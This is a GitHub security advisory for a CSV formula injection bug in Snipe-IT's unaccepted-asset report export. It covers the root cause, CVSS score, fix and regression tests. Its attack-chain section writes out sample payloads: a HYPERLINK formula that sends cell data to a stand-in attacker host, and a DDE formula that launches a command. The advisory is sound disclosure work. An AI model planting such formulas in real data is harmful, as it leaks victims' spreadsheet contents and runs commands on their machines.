Skip to content

CSV Formula Injection in Asset Acceptance Report Export

Moderate
snipe published GHSA-w4xq-9p85-4qmv Aug 24, 2026

Package

No package listed

Affected versions

<= 8.6.3

Patched versions

8.7.0

Description

ReportsController::postAssetAcceptanceReport streamed the "unaccepted asset" CSV export by hand: each cell went through str_replace(',', '', ...) (to keep the manual implode(',') join from breaking), then the row was joined and the whole file was joined by implode("\n"). Stripping commas kept the join stable but did nothing about formula prefixes. League\Csv\EscapeFormula was imported in the same file and applied at six other exports (all gated on config('app.escape_formulas')), but this one export consulted neither the helper nor the setting.

Row values include multiple user-editable free-text fields (company name, category, model, item name, asset tag, assignee display name). A low-privilege user with ordinary create/edit rights could set any of them to a spreadsheet formula. When a reports.view user downloaded the CSV and opened it in Excel, LibreOffice Calc, or Google Sheets, cells beginning with =, +, -, @, tab, or CR were interpreted as formulas and executed in the downloader's spreadsheet context.

Same class of bug and same fix pattern as the FMCS location-scoping export in commit 6976f1215444bcfeda50975a5673e8422bcab4bb. Unlike that one (which was master-only), this export ships in released code.

Severity

Moderate. CVSS 3.1: 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

  • Privileges Required Low because the injector needs only ordinary create/edit rights on any of the free-text fields that appear in the report.
  • User Interaction Required because the payload only fires when a reports.view user downloads the CSV AND opens it in a formula-evaluating spreadsheet with external-content warnings dismissed or disabled.
  • Scope Changed because execution happens in the victim's spreadsheet application on their workstation, outside the web application boundary.
  • Confidentiality / Integrity / Availability Low because impact varies with what the victim's spreadsheet allows (cell exfiltration via HYPERLINK / WEBSERVICE, up through legacy DDE command execution on Windows Excel).

Weakness

  • CWE-1236 (Improper Neutralization of Formula Elements in a CSV File)

Affected Versions

<= 8.6.3. The manual-join CSV export pattern in postAssetAcceptanceReport predates the introduction of EscapeFormula on the sibling exports in the same file; the six other exports were retrofitted with escaping and this one was missed.

Attack Chain

Injector preconditions:

  1. Authenticated Snipe-IT session with ordinary edit rights on any resource whose name / tag / display name can appear in the acceptance report (asset name / tag, company name, category, model, user display name).
  2. A pending checkout acceptance referencing the resource whose field was poisoned.

Attack steps:

  1. Injector sets a free-text field to a spreadsheet formula, e.g. =HYPERLINK("http://attacker.test/x?"&A2,"click") for cell exfiltration or =cmd|'/c calc'!A1 for legacy DDE command execution on Windows Excel.
  2. Attacker (or a UI-triggered flow) creates or is left with a pending checkout acceptance referencing the poisoned item.
  3. A reports.view user hits POST /reports/unaccepted_assets (the CSV export).
  4. Server emits the CSV where the poisoned cell is present verbatim.
  5. Victim opens the CSV. If formula evaluation is on (default) and the external-content warning is dismissed or disabled, the formula runs under the victim's workstation.

Root Cause

app/Http/Controllers/ReportsController.php::postAssetAcceptanceReport():

  • Line 1520 onward builds the header + rows in PHP arrays.
  • Line 1539 onward writes each cell through str_replace(',', '', ...) (comma-stripping so the manual implode(',') doesn't break).
  • Line 1552 joins the rows via implode("\n") and streams the response.

League\Csv\EscapeFormula is imported at line 39 and applied at lines 122, 181, 331, 419, 888, and 1226 in the same file. Nothing after line 1275 in this file reached either the helper or the setting, so neither reached the acceptance export.

Fix

Added the same EscapeFormula pass to the loop, gated on config('app.escape_formulas'), matching the pattern already used by every other export in ReportsController. The formatter is instantiated once outside the loop with the backtick prefix (same character every sibling export uses).

The manual implode(',') join is preserved for now because the reporter noted the shape is code-quality rather than security. Moving this export onto fputcsv against a stream (as the location-scoping export now works) would drop the reliance on comma-stripping for correctness; that's a follow-up.

Fix Commit

2fc38b1

Regression Tests

tests/Feature/Reporting/AcceptanceReportCsvFormulaEscapeTest.php:

  • test_data_rows_with_formula_prefix_are_escaped_by_default seeds a pending acceptance whose asset name starts with =HYPERLINK(...), POSTs the export as a superuser, and asserts the raw formula is absent from the body and the backtick-prefixed form is present.
  • test_data_rows_with_plus_and_at_prefixes_are_escaped covers +cmd|... and @SUM(...) prefixes.
  • test_data_rows_are_not_escaped_when_setting_disabled sets app.escape_formulas=false and asserts the raw formula survives, matching the sibling exports' behavior for operators who intentionally disable escaping.

Credit

Arpit Jain (arpitjain099). Reporter noted AI assistance was used in reading the code and preparing the report. Same reporter as the master-only location-scoping export finding fixed in commit 6976f1215444bcfeda50975a5673e8422bcab4bb; sent as separate reports at the reporter's discretion.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Formula Elements in a CSV File

The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product. Learn more on MITRE.

Credits